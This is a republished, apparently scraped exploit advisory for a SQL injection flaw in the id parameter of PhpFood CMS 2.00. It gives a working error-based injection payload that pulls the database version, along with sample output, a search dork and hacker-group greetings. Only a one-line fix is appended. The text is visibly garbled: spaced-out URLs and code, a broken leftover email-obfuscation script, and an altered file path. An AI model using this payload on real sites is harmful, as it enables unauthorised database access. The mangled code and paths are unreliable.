PhpFood CMS v2.00 SQL Injection defects and repair

######################################## ##############################
# PhpFood CMS (restaurant. php? Id =) SQL Injection Vulnerability ##
# Author: kaMtiEz (kamtiez@exploit-id.com <script type = "text/javascript">
/* <! [CDATA [*/
(Function () {try {var s, a, I, j, r, c, l = document. getElementById ("_ cf_email _"); a = l. className; if (a) {s =; r = parseInt (. substr (0, 2), 16); for (j = 2;. length-j; j + = 2) {c = parseInt (. substr (j, 2), 16) ^ r; s + = String. fromCharCode (c);} s = document. createTextNode (s); l. parentNode. replaceChild (s, l) ;}} catch (e ){}})();
/*]> */
</Script> )##
# Homepage: http://www.indonesiancoder.com/http://exploit-id.com/http://magelangcyber.web.id ##
# Date: 3 July, 2011 ##
######################################## ######################################## #
 
[Software Information]
 
[+] Vendor: http://www.phpfood.com/
[+] Download: html "> http://www.phpfood.com/download.html
[+] Version: 2.00 or lower maybe also affected
[+] Vulnerability: SQL INJECTION
[+] Dork: "CiHuY"
[+] LOCATION: INDONESIA-JOGJA
 
######################################## ##############################
 
[Vulnerable File]
 
Http://www.bkjia.com/?kamtiez=/?ant.php? Id = [num]
 
[XpL]
 
Http://www.bkjia.com/?kamtiez=/?ant.php? Id = [num] and (select 1 from (select count (*), concat (select @ version) from 'information _ schema '. tables limit 0, 1), floor (rand (0) * 2) x from 'information _ scheme '. tables group by x) a) and 1 = 1
 
 
[See It]
 
Duplicate entry 5.0.91-community1 for key 1: D
 
[FIX]
 
Dunno: ">
 
 
######################################## ##################################
 
[Thx TO]
 
[+] INDONESIANCODER-EXPLOIT-ID-magelangcyber team-malangcyber crew-KILL-9
[+] Tukulesto, arianom, el-farhatz, Jundab, Ibl13Z, Ulow, s1do3L, Boebefa, Hmei7, RyanAby, Albert twired, GonzHack
[+] Lagripe-Dz, KedAns-Dz, By_aGreSiF, t0r3x, Mboys, Contrex, Gh4mb4S, jos_ali_joe, keys, n4sss, r3m1ck, k4mpr3t0
[+] Yur4kh4, xr0b0t, kido, trycyber, n4ck0, dan teman2 semuanya yang saya tak bisa sebutkan satu2: D
 
[NOTE]
 
[+] Stop Dreaming, Lets Do it!
[+] Jangan Takut, Luka Pasti Akan Sembuh :)
 
[QUOTE]
 
[+] INDONESIANCODER still r0x
[+] Nothing secure ..

Fixed: filter the id parameter input on the restaurant. php page.